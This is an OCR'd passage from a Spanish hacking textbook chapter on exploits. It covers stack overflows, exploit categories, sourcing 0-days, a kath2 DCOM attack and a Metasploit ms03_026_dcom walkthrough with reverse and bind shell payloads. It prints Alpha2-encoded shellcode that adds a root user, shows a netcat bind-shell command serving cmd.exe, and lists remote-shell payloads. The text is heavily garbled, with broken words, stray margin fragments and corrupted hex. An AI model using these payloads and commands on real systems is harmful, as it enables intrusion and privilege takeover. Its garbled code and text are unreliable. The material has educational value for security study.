" \ x4d\ x6d\ xSO\ x41" ;
Acontinuaci6n se expone un ej emplo aclaratorio que explica de manera
muy basica el funcionamiento de exploits bastante comunes, aquellos que utilizan
una tecnica rimy conocida Hamada Stack buffer overflow (desbordamiento de la
pila), la cual permite ver c6mo se aprovecha un bug para inyectar en la pila de la
maquina atacada la shellcode.
Imaginemos que tenemos un programa que escribe por pantalla un mensaj e
escrito en una caj a de texto y que esta guardado en una variable la cual soporta
como maximo 20caracteres, asi pues, si se qui ere que salga por pantalla " Hola que
tal estas" se podra hacet porque la frase tiene 15letras con 3 espacios y cumple con
la norma impuesta anterionnente, sin embargo, si escribimos 25 veces " A" ,
"AAAAAAAAAAAAAAAAAAAAAAAAA" el programa de prueba devuelve un
mensaj e de error denominado " violaci6n de segmento" ; acabamos de provocar un
error que sobrescribe p~rte de la informacion guardada en otra variable almacenada
en memoria; este error permite que un exploit preparado para este bug escriba en el
registro de retorno de la aplicaci6n 'la direcci6n de la shellcode que se ha
almacenado en lapila.
3.1.3.1 TIPOS DE EXPLOITS
Existen en Internet una infinidad de exploits que permiten aprovecharse de
una vulnerabilidad de un sistema. Estos se pueden clasificar de diferentes maneras
que atienden a ciertas caracteristicas propias del exploit del que se trate, ya pueda
ser por su ej ecuci6n de forma local 0remota, por el resultado que provo que en la
maquina obj etivo 0 por la forma de explotar el error del sistema. La clasificaci6n
mas clara que se puede exponer es larelativa a exploits locales y remotos:
a) Exploits Locales. Son aquellos exploits que se ej ecutan en el sistema de la
maquina obj etivo del ataque, su fmalidad suele ser conseguir que un
usuario con permisos restringidos sea capaz de escalar privilegios, hasta
obtener perrnisos de administrador 0 de sistema (System). Tambien se
utilizan este tipo de exploits para realizar ataques de DoS (Deny of
Service) contra algun servicio que este corriendo en el sistema atacado,
como por ej emplo un servidor Web 0 de correo.
b) Exploits Remotos. A diferencia de los anteriores, estos exploits se
ej ecutan en una maquina que no es obj etivo del ataque, esta maquina se
encuentra en Internet 0 en la red local donde esta conectado el obj etivo. Su
funcionamiento es similar al de los exploits locales, sin embargo se
3
dt
P(
SIl
01:
ap
co
el
di:
y
a u
qu
19uaj e
lante),
tos en
onnas
RA-MA
muy
sibles
quina
tados
ieden
: este
parar
arun
adel
nina
cues
ema
mes
e se
c on
rita
~la
nte:
RA-MA CAPITULO 3. TECNICAS DEHACKING CONTRA LOS SISTEMAS ... 103
mov ebx, es p
i nc ec x
mov c h, Ox04
i nt OxBO
xc hg ea x, ebx
c a l l . get s t r
db " ABC: AAnv3m3Svbc / g: O: O: : / : / bi n/ s h"
get s t r :
pop ec x
mov edx, [ ec x- 4]
pu s h byt e Ox04
pop ea x
i nt OxBO
pu s h byt e OxOl
pop ea x
i nt OxBO
/ * c 6di go en hexa dec i ma l s epa r a do en byt es , c on c odi f i c a c i 6n
Al pha 2 qu e per mi t e a na di r a u n s i s t ema L i nu x u n u s u a r i o
" r oot " y u n pa s wor d " t oor " , l a s hel l c a de es t a es c r i t a pa r a
i nc l u i r l a en u n expl oi t es c r i t o en l engu a j e c * /
/ * l i nu x_ i a 32_ a ddu s er - L SHEL L =/ bi n/ s h L USER=r oot L PASS=t oor
s i z e=244 Enc oder =Al pha 2 ht t p: / / ~et a s pl oi t . c om * /
u ns i gned c ha r s c a de[ ] =
" \ xeb\ x03\ xS9\ xeb\ xOS\ xe8\ xf B\ xf f \ xf f \ xf f \ x49\ x49\ x49\ x49\ x49
\ x49"
" \ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x37\ x49\ xSl \ xSa \ x6a
\ x41"
" \ xSB\ x30\ x41\ x31\ xSO\ x41\ x42\ x6b\ x42\ x41\ xSl \ x32\ x42\ x42\ x42
\ x32"
" \ x41\ x41\ x30\ x41\ x41\ x5B\ xSO\ x3B\ x42\ x42\ x75\ x4a \ x49\ x50\ x31
\ x6a "
" \ x69\ x4 f \ x79\ x6a \ x6b\ x32\ x4a \ x63\ x7. 6\ x71 \x4B\x7B\x4d\x6d\x50
\ x71"
" \ x7a \ x74\ x4S\ x46\ x3B\ x76\ x51\ x4b\ x79\ x46\ x31\ x32\ x4B\ x33\ x43
\ x43"
" \ x43\ x72\ x57\ x6S\ x34\ x61\ x7B\ x46\ x4f \ x34\ x6f \ x44\ x30\ x71\ x71
\ x42"
" \ x4B\ x66\ x4f \ x33\ xSS\ x74\ x34\ x71 \ x73\ x4e\ x69\ x7a \ x43\ xSl \ x51
\ x6e"
" \ x55\ x44\ x44\ xSa \ x6d\ x6d\ xSO\ x4c \ xS3\ x69\ x7B\ x61\ x32\ xS3\ x30
\ x6S"
" \ xSO\ xS3\ x30\ x44\ x32\ xSO\ x6f \ x70\ x6f \ x70\ x74\ x37\ x4a \ x63\ x71
\ x72 II
" \ x61\ x73\ x45\ x71\ x77\ xS6\ xSl \ x70\ x37\ xSS\ x61\ x62\ x4a \ x43\ x55
\ x30" .
" \ xSO\ x30\ x63\ x42\ x66\ x32\ x4f \ x67\ x4a \ x66\ xSO\ x36\ xSa \ x30\ x30
\ x74"
" \ x7a \ x46\ xSa \ x74\ x6f \ x46\ xSa \ xS4\ x6f \ xSl \ x72\ x72\ x49\ x72\ x4e
\ x64" .
" \ x6f \ xS2\ xS3\ x71\ x7B\ x65\ xSa \ x72\ x79\ x4c \ x4b\ x42\ x71\ x4b\ x4c
\ xSO"
\.-MA
x68
lera
zan
e la
e la
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 105
diferencian en que estos explotan el error a traves de informacion que se
envia por la red. Segun como se realice el ataque podemos clasificar estos
exploits en tres tipos:

iaj e
rrta
~ue
con
4,,"
,
un
un
ida
lei
ha

de
as
da
Ia
on
la
ill
ta
; e
e
I
Ataques a traves de una pagina Web: son paginas HTML que
contienen un script generalmente escrito en ellenguaj e Javascript,
el cual permite explotar un error en el navegador 0en el sistema de
lavictima y asi ej ecutar el codigo de unpayload.
Ataque a un servicio que corre en un puerto: este es el ataque
mas comun, la metodologia de estos exploits es la de enviar
paquetes con la shellcode y los datos necesarios para provocar el
error a un servicio de la maquina obj etivo, esta informacion se
envia a traves de un puerto de la victima donde el servicio
problematico esta iniciado. Estos exploits no solo sirven para
cargar un payload en el sistema atacado, sino que se puede utilizar
para realizar ataques de denegacion de servicios por ej emplo a
traves del envio masivo de paquetes de datos de tamafio
considerable.
Ataque SQL Inj ection: se trata de un metoda de ataque que esta
en pleno auge, este tipo de exploits se conectan a la base de datos
de la victima e inyectan sentencias SQL, las cuales permiten
realizar desde modificaciones en la base de datos atacada hasta
ej ecutar comandos en lamaquina victima.
3.1.4Obtencion, compilaclon yutilizacinn deexploits
Una vez visto el concepto y los tipos de exploit existentes en la red, es hora
de recopilar informacion sobre el sistema vulnerable que queremos atacar para
poder encontrar asi un exploit adecuado al bug que tenga.
En Internet podemos encontrar dos tipos de exploit caracteristicamente
similares pero que tienen un elemento clave que los identifica y los diferencia. Es
obvio que a cualquier hacker le interesara tener un exploit que sea capaz de
aprovecharse de un error que aun no tiene solucion, parche 0actualizacion, ya que
con esta herramienta podra acceder a todos aquellas maquinas que tienen instalado
el software vulnerable. Baj o esta premisa, se encuentra el elemento clave que
diferencia alos dos tipos de exploits. El primer tipo de exploits se denominan O-day
y engloban a todos aquellos que son capaces de explotar una vulnerabilidad que
aun no ha sido solucionada; este tipo de exploits es bastante dificil de encontrar ya
que se mueven por circulos privados a los que normalmente no se tiene acceso. EI
106 HACKING Y SEGURIDAD EN INTERNET RA-MA
segundo tipo deexploits abarca aquellos que no son O-day, suelen ser mucho mas
faciles de encontrar ya que se publican en Webs publicas y en bases de datos de
vulnerabilidades tipo Bugtraq. Por muy viej o que sea un exploit, no hay que
minimizar su importancia, debido a que siempre se podra utilizar en lared contra
algunamaquina obj etivo cuyo administrador no parchea susistema.
Existen una infmidad de exploits dentro de la gran red de redes, s610hay
que saber buscarlos correctamente y asi podremos encontrar los mas recientes sin
ningun problema. Lo mas interesante sera siempre buscar exploits O-day en
Internet. Estos son bastante dificiles de hallar con una simple busqueda con
Google; si se quieren conseguir debemos acudir a charlas sobre hacking en los
Chat de la comunidad IRC, 0a foros especializados del tema, como el de la Web
http://www.elhacker.net. Existe una Web donde programadores, grupos de
seguridad y de hacking publican exploits de los bugs que han encontrado y
estudiado, estan ordenados segun la clase del exploit y la fecha de publicaci6n y
adernas, en ocasiones se pueden encontrar O-days; dicha Web es
http://www.milwOrm.com.
II
Figura 3-7. Pagina dedicada a exploits http://www.milwOrm.com
1
f
f
(
J
l
E
1
r
n
d
11
C
P
a
A-MA
mas
,s de
que
mtra
hay
; sin
J en
con
los
Web
de
o y
my
es
RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 107
Esta Web no s610contiene una coleccion de exploits que se actualizan casi
diariamente, sino que alberga una coleccion de shellcodes, documentos y videos
sobre el uso de ciertas tecnicas de hacking e intrusion en sistemas, con la
utilizacion de herramientas muy importantes como es el Metasploit Framework
(del que sehablara mas adelante).
La mayoria de los exploits de Internet vienen en ficheros de texto plano
que albergan el codigo fuente que se va a ej ecutar. Este codigo suele estar
programado en lenguaj es como C,. Perl y Python, y estan preparados para
ej ecutarse baj o diferentes plataformas como los sistemas Windows, Linux, Solaris,
etc. Muchos de estos exploits siguen un patron divulgativo y estan preparados para
probar una cierta vulnerabilidad pero sin causar ningun dana; esta caracteristica se
denomina PoC (Probe of Concept, prueba de concepto), y suele distinguirse por la
shellcode que se utilice, 10habitual es que se use un payload que ej ecute la
inofensiva calculadora de Windows por ej emplo u otro programa que permita
comprobar que el bug existe y el exploit funciona.
Para poder ej ecutar el exploit elegido, primero se ha de tener en cuenta que
shellcode se utiliza, como es bastante dificil saber que es 10que hace el payload
exactamente, es recomendable cambiarlo por otro que tenga el mismo numero de
bytes y as! asegurar el sistema de posibles problemas. El paso siguiente a este es
compilar el exploit; para ella necesitamos saber para que plataforma ha sido
disefiado (Windows, Linux ... ) ya que las funciones que se utilicen en el codigo
pueden provenir de librerias (bibliotecas) diferentes, que esten preparadas p~ra
distintos sistemas. Compilar no es una tarea sencilla pues en muchas ocasiones se
importan ficheros fuente que nuestro compilador no tiene; este problema es muy
frecuente en los exploits que estan escritos en C 0 en C++. Existen en Internet una
gran variedad de compiladores gratuitos que poseen un gran abanico de bibliotecas
de funciones, uno muy recomendable es el Lee- Win32, que puede descargar de
http://www. q-software-solutions. del downloadersls how_download_locations. Existe
un excelente compilador gratuito que Microsoft ha puesto adisposicion del publico
en su pagina Web, se trata del Visual C++ 2005 en su version Express Edition, es
la edicion mas basica, pero mas que suficiente para compilar y generar nuestro
propio codigo sin ningun problema.
La utilizacion y manej o de los exploits depende de varios factores que
influyen segun se realice el ataque a un obj etivo local 0 remoto, a traves de una
denegacion de servicio 0para la ej ecucion deun cierto comando, etc. Normalmente
los exploits locales trabaj an con la simple ej ecucion del codigo compilado en la
consola del sistema, aunque en ocasiones, necesitan el paso de informacion por
parametro relativa a la plataforma qu~ se utilice, la direccion de un directorio 0
archivo en particular, etc. Los exploits:remotos suelen necesitar una serie de datos
108 HACKING Y SEGURIDAD EN INTERNET RA-MA
de conexion para quepuedan ej ecutarse correctamente, algunos de estos datos son
laIP delavictima, el puerto obj etivo deataque delamaquina victima, el puerto de
salida del ordenador dondeselanza el exploit, etc.
Nota: cada.maestro tiene su librillo, y cada exploit tiene su creador, por 10 que
muy frecuentemente la interfaz de uso de estas herramientas cambia unas de
otras, por 10 que en este libro se recomienda documentarse ampliamente sabre
lautilizacion y funcionamiento delos exploits antes desuej ecuci6n.
,j
En lasiguiente imagen semuestra lautilizacion deun exploit antiguo, pero
quepor su rapida difusion sehizo muy famoso; fue el vector de ataque que utilizo
el gusano Blaster, el cual en pocos dias infecto amiles de miles deusuarios de la
red. Este exploit vulneraba un fallo del servicio remoto DCOM que permitia la
ej ecuci6n de c6digo malicioso en la maquina victima. EI exploit usado se llama
kath2, se encuentra en la Web del autor http.r/www.haxorcitos.com, esta
herramienta esta pensada para vulnerar masivamente equipos remotos que tengan
el sistema Windows 2000 sin parchear ante esta vulnerabilidad. Para poder
ej ecutarlo hay que pasarle a traves de la consola de Windows un range de IP que
pertenezcan a las maquinas obj etivo; si alguna tiene el bug del servicio DCOM,
aprovechara el error einyectara unpayload queej ecuta una shell directa ennuestra
consola. Se ej ecuta escribiendo en consola Kath.exe <Rango de IPs> (Kath.exe
192.168.1.4192.168.1.8):
I~
'III
Figura 3-8. Obtencion de una shell remota de una mdquina atacada con el exploit
Kath2.exe.
(
J
(
I.
1
\.
1
o
6
a
a
.a
: a
n
~r
le
1,
~a
~e
RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 109
3.1.5 Penetrando la red con Metasploit Framework
En 1aactualidad, 1aseguridad de los equipos detrabaj o y servidores es un
elemento crucial que cualquier administrador debe asumir como uno de sus
obj etivos principales. La gran cantidad de software vulnerable que existe en e1
mercado ha hecho que los hackers sean capaces de desarrollar exploits disefiados
contra sistemas que aun no tienen un parche 0 actualizaci6n disponible del
fabricante, capaz de subsanar el bug encontrado. Ante este problema, el
administrador de un equipo debe estar preparado para afrontar cualquier error de
seguridad, queseacapaz decomprometer el sistema y los datos desus maquinas de
trabaj o. Para hallar una soluci6n a este confiicto, el administrador debeponerse en
lapiel deun hacker eintentar vulnerar el mismo laseguridad desus equipos.
Metasploit Framework es una herramienta disefiada por 1a comunidad
underground para el testeo y penetraci6n de maquinas remotas 0 locales a traves
del uso de exploits. Esta utilidad permite realizar pruebas de seguridad en equipos
con software que esta suj eto a una posible vulnerabi1idad, con 10 que un
administrador puede comprobar el nivel deconfianza quesusistema ofrece frente a
un ataque externo.
Nota: como es obvio, Metasploit es una herramienta de doble filo, ya que un
hacker puede usar dicha utili dad para penetrar en un equipo remoto utilizando
uno delosexploits queseaprovecha deun error del sistema obj etivo.
En las versiones anteriores a la 3.0de Metasploit Framework, el c6digo
fuente de los exploits y el desarrollo del programa sehabia escrito en su mayoria
con el lenguaj e de programaci6n Perl; en Ia ultima versi6n estable de este
programa, el codigo fuente se ha realizado en Ruby como lenguaj e de
programaci6n principal. En este apartado se va a exponer la utilizaci6n de
Metasploit en su versi6n mas reciente 3.0, cuya ventaj a principal es el uso. deuna
interfaz Web como medio decomunicaci6n con el usuario.
Los exploits que se manej an en esta herramienta se clasifican siguiendo
unaj erarquia de m6dulos y se diferencian segun el error que se ha vulnerado, el
sistema operativo al cual esta destinado y el tipo de programa al que pertenece el
software vulnerable. Cada exploit segenera de forma distinta segun los parametres
quesenecesiten; estos datos sedeben establecer y personalizar en laplataforma de
Metasploit antes de su ej ecuci6n. La base de datos de exploits se puede actualizar
on-line desde Internet 0 a traves de la pagina Web principal del programa,
httpi//www.metasploit.com/.
110 HACKING Y SEGURIDAD EN INTERNET RA-MA
A parte de una gran coleccion de exploits, Metasploit almacena un
conj unto depayloads ordenados segun el sistema operativo al que este destinado.
Cada shellcode tiene una serie de opciones que se deben configurar antes de
generar el c6digo, el cual se codifica siguiendo un sistema de codificacion
caracteristico que se elige j unto con las demas opciones, y que permite crear
payloads personalizados cuyo tamafio debytes es diferente.
I
t
[I
I~
Metasploit Framework se comunica con el usuario a traves de dos
interfaces distintas quepermiten una mej or configuracion delos parametres que se
indiquen. En las versiones anteriores a la 3.0, la consola de comandos del propio
programa era el medio mas comun por el cual se elegia, personalizaba y ej ecutaba
un exploit de los posibles m6dulos que existen en la base de datos. Con esta
consola setiene acceso atodos los exploits, payloads y modules auxiliares, ademas
depoder realizar todas lasoperaciones queMetasploit permite.
En las versiones mas recientes, se ha incorporado una nueva interfaz mas
amigable y facil deusar: setrata deuna pagina Web que se ej ecuta dinamicamente
a traves de un servidor del propio programa. La pagina se inicia de forma local
(127.0.0.1) usando un navegador del sistema, con cl protocolo http y en el puerto
55555 (http://127.0.0.1:55555) entramos en la interfaz. Las configuraciones que se
realizan con esta interfaz se hacert a traves de caj as de texto provenientes de
formularios, que hacen referencia a los parametres requeridos del exploit segun
cada caso.
Nota: enlaversi6n utilizada enesteapartado, laconsola seej ecuta dentro dela
. pagina Web queel servidor deMetasploit inicia.
:k>
.A:t:;~i'I.~
~,!I.U1iUitr&
-: L;': }.s;<;_ ;;~: ,: : ~~ ~F: f: l!
......
1'lo! t" 'fl: " 'm: " '~'<<" ~" <iHa'l~ ~'*
~Hfu..
~ ..h" iwM" '''" \t'{JI.' ttf~
l".io\SS
~'P~I~'fIW~,_:~tttCJ jl'i'" ~~
~t..te~
tlD' ! ! ' la:
Mi~
Figura 3-9. Interfaz Webde la herramienta Metasploit Framework para configurar un
payload que aiiade un nuevo usuario en un SOGNUILinux
un
j o.
de
on
~ar
os
se
lio
ba
ita
as
as
te
al
to
Ie
m
]
RA-MA
CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... III
Todos los modulos que se exploten contra una maquina obj etivo, usando
para ello la interfaz Web, se ej ecutan atraves de la consola del programa. Por esta
raz6n, se explicara primero el funcionamiento ylos comandos de la consola de
Metasploit, y despues el uso de los formularios de la pagina Web de esta
herramienta.
En las practicas para ver el uso de la aplicacion y comandos de
configuracion, se utilizara el famoso exploit para el servicio RPC, que el gusano
Blaster usa para propagarse por la gran red amiles de usuarios en pocos dias.
3.1.5.1 CONFIGURACION Y EJECUCION DE EXPLOITS
MEDIANTE CONSOLA
Lo primero de todo es ej ecutar la consola de Metasploit desde el link
Console de la Web local, que se inicia a traves del acceso directo del programa.
Tras esto, aparecera una ventana con fondo negro yun cursor colocado j unto a la
expresi6n msf >, esta es la consola donde se ej ecutara los comandos y parametres
del programa.
Figura 3-10. Consola de Metasploit Framework ejecutada desde la interfaz de la
pagina Web del programa
I"
112 HACKING Y SEGURIDAD EN INTERNET RA-MA
Si en la ventana de la consola se usa la sentencia help aparecera una lista
de los posibles comandos del programa seguidos de una breve descripcion. El
primer comando que se necesita es show [options, exploits, payloads ... ], el cual
permite listar el conj unto de datos que forma el argumento especificado por
parametro, asi por ej emplo, si hemos especificado como argumento la palabra
exploits, aparecera en la consola, ordenados por el sistema operativo, el conj unto
de exploits que estan disponibles en esta herramienta. Si no escribimos ningun
parametro al comando show, se listara la base de datos completa de Metasploit
clasificada segun exploits, modulos auxiliares, codificadores, payloads, etc.
Para continuar con las pautas de lapractica, se debe elegir un exploit de la
lista de modulos que contiene el programa. En este ej emplo se va explotar un
famoso fallo del servicio RPC del SO Windows cuyo modulo se denomina
" windows/dcerpc/ms03_ 026_ dcom" . A traves del comando use <modulo> se
selecciona y se carga el exploit elegido que se quiere ej ecutar. Al hacerl0,
aparecera una extension de la expresion inicial msf >con el nombre del modulo
elegido msf windows/dcerpc/ms03 _ 026_ dcom>.
El siguiente paso es configurar las opciones que necesita el exploit para su
correcta ej ecucion, Todo modulo sigue tres pautas que serepiten siempre deforma
ordenada para queel exploit pueda funcionar correctamente:
",
Figura 3-11. Lista de exploits de Metasploit Frameworkfruto del uso del comando
show .
a
:I
II
a
o
n
it
a
n
a
e
o
u
a
RA-MA
CAPITIJLO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS... 113
Cualquier modulo que se cargue necesita normalmente unos parametres de
configuracion requeridos, estas opciones se establecen con el uso de diferentes
variables segun el exploit. Con el comando " show options" se pueden ver las
variables necesarias deun m6dulo atraves deuna tabla formada por columnas, que
hacen referencia al nombre de la variable, el dato que contiene por defecto, si es
requerido 0 no, y por Ultimo, una breve descripcion del obj etivo de dicho
panimetro. Para establecer valores a las variables del exploit se necesita usar el
comando set con lasiguiente sintaxis: set <variable> <valor>; ennuestro ej emplo,
si la maquina obj etivo posee una IP 192.168.1.6, en la consola del programa se
escribiralasentencia set RHOST 192.168.1.6, con 10queseestablecera lavariable
RHOST con el valor deladireccion IP.
Nota: si se quiere borrar el contenido de una variable, basta con usar el
comando unset <variable>. Esta sentencia es muy util para modificar
valores err6neos enlos parametres del exploit queseesteconfigurando.
La siguiente pauta consiste en elegir una shellcode que sevaya autilizar en
el exploit. Para afiadir un payload a la configuracion, se escribe dentro de la
variable PAYLOAD el nombre del modulo que 10 contiene. En nuestro caso
- - - -
Figura 3-12. Tablas de opciones de configuracion del exploit y el Payload resultado de
fa ejecuci6n del comando "show options" y configuracion de la variable "LHOST"
~r' "
rfij
I
I'
114 HACKING Y SEGURIDAD EN INTERNET
RA-MA
utilizaremos una shellcode quepermite conseguir una shell reversade lavictima a
traves de un puerto; la sintaxis que se pondria en la consola de Metasploit es la
siguiente: set PAYLOAD windows/sheWreverse_tcp. Los payloads poseen
tambien una serie de parametres requeridos que deben ser configurados; para ver
las variables pedidas se usa otra vez el comando show options, en este caso se
muestran por pantalla no solo los datos relativos al exploit, sino aquellos valores
quesonnecesarios para el payload.
'1'
i
,
11
II
Ii
I
,:
.'
!I
,I
"
I'
I~
'1 ..
II
I,
UID
~I
II
.\f ~
I'
II~~
I r '''II
I :
Tan s610queda un ultimo paso: una vez que todos los parametres
requeridos estan establecidos, se ej ecuta el exploit contra la maquina victima. E1
comando que inicia esteproceso es exploit. Una vez puesto en marcha el m6dulo,
la consola mostrara por pantalla informacion relativa a eventos que indican si el
exploit hafuncionado correctamente.
Figura 3-13. Proceso de ejecucion del exploit a traves del comando
"exploit"
3.1.5.2 CONFIGURACION Y EJECUCION DE EXPLOITS
MEDIANTE INTERFAZ GRA.FICA
Desde laversi6n 2.3 de Metasploit Framework se incorpor6 rn:nuevo tipo
deinterfaz decomunicaci6n con el usuario basada en,implementaciones graficas de
)
.'
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 115
una pagina Web; esta se ej ecuta a traves de un servidor que el propio prograrna
inicia deforma local.
Para usar estetipo deinterfaz senecesita tener primero iniciado el servidor
Web. En las versiones anteriores a la 3.0, se requiere ej ecutar la aplicacion
" msfweb
v
para ej ecutar dicho servicio, en la ultima version del programa, solo es
necesario lanzar el acceso directo de Metasploit, pues la mayoria de las
configura~iones quesehacen con esteprograma serealizan viaWeb local.
La interfaz es visible desde un navegador Web con la siguiente url:
http://127.0.0.1:55555. Configurar y ej ecutar un exploit desde aqui es
relativamente sencillo eintuitivo. Lo primero que sedebehacer es elegir un exploit
queseadapte alavulnerabilidad delavictima y sea capaz de explotarla. Dentro de
lapagina Web, una vez iniciada, sepuede observar una barra debotones colocados
enlaparte superior delapantalla. Entre estes figura uno con el nombre Exploit; si
hace clic en el, se abrira una ventana mas pequefia con una lista de los exploits
disponibles en labase dedatos. -
Microsoft RPC DCOMInterface Overflow
lrhiS mOdule-;;IOits ~~;~k ov~ow inth;RPCSS ~er.ic;ihIs~~erabilitywas o~i~allyfound by~e '"
!Last Stage of Oelirtum research group and has bee Widelyexploited 8'ler since. This module
Iexploit the English versions of Windows NT to SP3-6a. Windows 2Dt0' Windows lW, and
12~~~.~~ ~~~~: .~: ~~~~t: ) .." . _ _ ~.....: ._ _.~.. ~..L-.: 1~. ,._ _ .J : ~_ .".~ ..~ .._., ,_. c,.. ;;.;,,' ~~-'..: ..i,
Figura 3-14. lnterfaz Web con la ventana de exploits desplegada
~!lltj:,
116 HACKING Y SEGURIDAD EN INTERNET RA-MA
En este ej emplo se va autilizar el exploit que vulnera el error del servicio
RPC. Para ello seutiliza el modulo con el nombre Microsoft RPC DCOM Interface
Overflow. Al ej ecutar el link, se abre otra ventana que contiene una parte con
referencias a documentos extemos que hablan de esta vulnerabilidad, y otra zona
marcada en color mas oscuro con un membrete " Select a target to continue: " ,
donde seelige el sistema operativo queposee el obj etivo.
El siguiente paso es seleccionar un payload apropiado dentro de los
posibles shellcodes queposee Metasploit. Siguiendo el ej emplo, seva autilizar una
shellcode que abra una puerta trasera en el equipo victima por la cual se pueda
ej ecutar una shell de forma directa. El payload seleccionado se denomina
" windows/ shell_ bind_ tcp" .
windows/meterpreter/find tag
windows/meterpret er/reverse http
windows/meterpret er/reverse ord tcp
windo'lIIsImeterpret ar/reverse tcg
windowslshelVbind tcg
windows/shelVfind tag
windDWs/snelVreverse http
windows/shelVreverse ord tcp
Windows/sheil reverse tcg
',\lindows/upexec/bi nd tep
windows/upexecl1ind taq
Listen for a connect ion, Inject the meterpreter server DLL
Use an established connection, Inject the meterpreter server DLL
Tunnel communication over HTTP using IE6, Inject the meterpreter server DLL
Connect back tothe attacker, Inject the meterpreter server DLL
Connect back tothe attacker, Inject the meterpreter server DLL
Listen for a connection, Spawn a piped command shell
Use an established connection, Spawn a piped command shell
Tunnel communication over biTTP using IE6, Spawn a piped command shell
Connect back tothe attacker, Spawn a pipedcommand shell
Connect back tothe attacker, Spawn a pipedcommand shell
Listen for a connect ion andspawn a command shell
Disable the Windows ICF, then listen for a connection andspawn a command shell
Connect back to attacker andspawn a command shell
Listen for a connect ion, Uploads an executable and runs it
Use an established connection,-Uploads an executable andruns it
Tunnel communication over HTTP using IE 6, Uploads an executable andruns if
Figura 3-15. Interjaz web con la ventana de payloads desplegada
Cuando se selecciona la shellcode se carga una ultima ventana donde se
configuran los parametres ylas opciones del exploit ydel payload elegido. Con el
ej emplo, la caj a detexto correspondiente ala etiqueta RHOST serellena con laIP
IA
to
-;e
m
ia
"
os
Ila
i a
aa
se
. el
IP
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 117
dela victima 192.168.1.6, los demas parametres sepueden cambiar aunque tienen
unvalor establecido por defecto.
Por ultimo solo queda ej ecutar el exploit a traves del boton Launch
Exploit; al hacerlo, se abrira una ventana con la consola del programa por la cual
se inicia el proceso de explotacion de la maquina obj etivo. Debido al uso de una
shell directa como payload, el propio Metasploit se conectara a la victima
utilizando para ella laconsola ya abierta.
E~plolt launched. Itthe exploit eensele window does not appear. pi ... ,. click llta.
Plaasa enter all of the required options and press launch Exploit' to continue.
CURRElfT CONFiqURATlO,N CHANGEPA'tl04D.
EXPLOIT
TARGET
PAY LOAD
.,
windowsldeerpc/ms03 _026_ deom
Windows NT SPJ .Sal2OO:llXPl2OO3 Universal
windows/shell_bind_lcp
i,.
RHOST
1192.168.1.6 The larget address Oype: address)
RPORT
The target port Oype' port)
EXm:UHC
Edtechmque: seh, thread, process (type: raw)
LPORT
The local pan (type: port)
ReqUl: " d
Launc~ Explott
ADVANCED OPTIONS
r),>}l!' ?: ' 1{;,,;: I .~.: ~-' ' 7.
Figura 3-16. InterJaz Web con la ventana de opciones del exploit y del payloads
desplegada
II' .,
118 HACKING Y SEGURIDAD EN INTERNET RA-MA
,
I~
,
,.
: 1-
i
! ~.
" ..
m
U
I
, I
rl
EXPLOIT
TARGET
PAY LOAD
RHOST
Figura 3-17. Interfaz Web can la ventana de consola desplegada despues de haber
ejecutado el exploit del RPC
Metasploit es un excelente proyecto de investigaci6n yuna herramienta
cada vez mas sofisticada y que se ha ganado su lugar entre los amantes de la
penetraci6n a sistemas. Existe otra variante comercial, muy difundida entre
departamentos que someten a testing de penetraci6n sus sistemas; segura que si
visita de forma asidua www.securityfocus.com, 'Ia habra visto anunciar, hablamos
de" Core Impact" . Core Impact sebasa en los mismos principios deaplicaci6n que
Metasploit, pero desde el punto de vista comercial, con un conj unto de
desarrolladores que procuran tener la mej or base de datos de exploits actualizada
cadamomento.
3.2 UTILIZANDO UNA SHELL
La mitad del trabaj o ya ha sido realizada, La busqueda devulnerabilidades
y la penetraci6n ha sido exitosa, gracias a las herramientas comentadas hasta este
punto del capitulo, 0gracias aherramientas analogas, Seha encontrado un exploit
que vulnera el sistema operativo 0 aplicacion y se abre'una consola de linea de
nta
: la
itre
~SI
nos
que
de
ada
ides
este
iloit
L de
RA-MA
CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 119
comandos, GYahora que? Es aqui donde empieza la segunda fase del ataque a un
sistema, donde estando una vez dentro debe empezar a planificar como va a
mantener su posicion dentro del sistema 0 en algunos casos obtener los permisos de
administrador. Aqui es donde rinde frutos el estudio profundo de un sistema
operativ?, porque ese conocimiento se convierte en el arma del atacante.
La consola de lineas de comando es la interfaz mas comun al momenta de
atacar (0administrar) remotamente. La obtencion de una consola remota se conoce
como shell 0 cmd remoto. Existen dos tipos de shell, utilizando una mediante una
conexion directa a los sistemas 0 bien una de conexion revers a tambien a los
sistemas. Las tecnicas Y el metodo de uso se explicaran acontinuacion,
3.2.1 Shell directa
El obj etivo es simple: obtener una interfase para el control remoto de un
ordenador. Esto es un proceso de simplemente redirigir el trafico obtenido
mediante un puerto y concatenar ese fluj o de datos a un programa local. EI exploit
mas sencillo es el que simplemente dej e un puerto abierto a la escucha en
ordenador remoto y desde el ordenador local se conecte directamente. Esto se
puede lograr-mcdiante el uso de neteat, la navaj a suiza de los administradoresy
hackers en la red. Esta es una herramienta sencilla parecida al c1iente telnet pero
con mucha mas capacidad que tan solo conexi ones remotas. Se puede obtener una
version para Windows desde http://www.vulnwatch.org/netcat/ y para Linux se
puede instalar desde los repositorios de las distribuciones mas conocidas como
Debian, Red Hat 0 Suse. Para obtener una shell directa con neteat, se puede
realizar 10siguiente:
En el ordenador victima
C: \>nc -l-p 37337 -ecmd.exe
En el ordenador atacante
C: \>nc direccion victima 37337
La sintaxis de conexion de neteat es igual a la de telnet. En la primera
instruccion, se dej a a neteat a la escucha en el puerto 37337, poniendo en dicho
puerto un cmd.exe; cuando se realice una conexi on TCPIIP, se ej ecuta
inmediatamente una linea de comandos en la maquina de la persona que realiza la
conexion. Una vez realizada la conexi on, la consola ofrece el prompt del sistema
operativo victima. La conexion directa es el uso mas comun de netcat, sin embargo
esto no siempre funcionara. Los 'ordenadorea hoy en dia estan protegidos por
.: .
-,
'I II"
120 HACKING Y SEGURIDAD EN INTERNET RA-MA
I
..
firewalls 0routers que por defecto no dej an a la comunicacion entrar. De esta
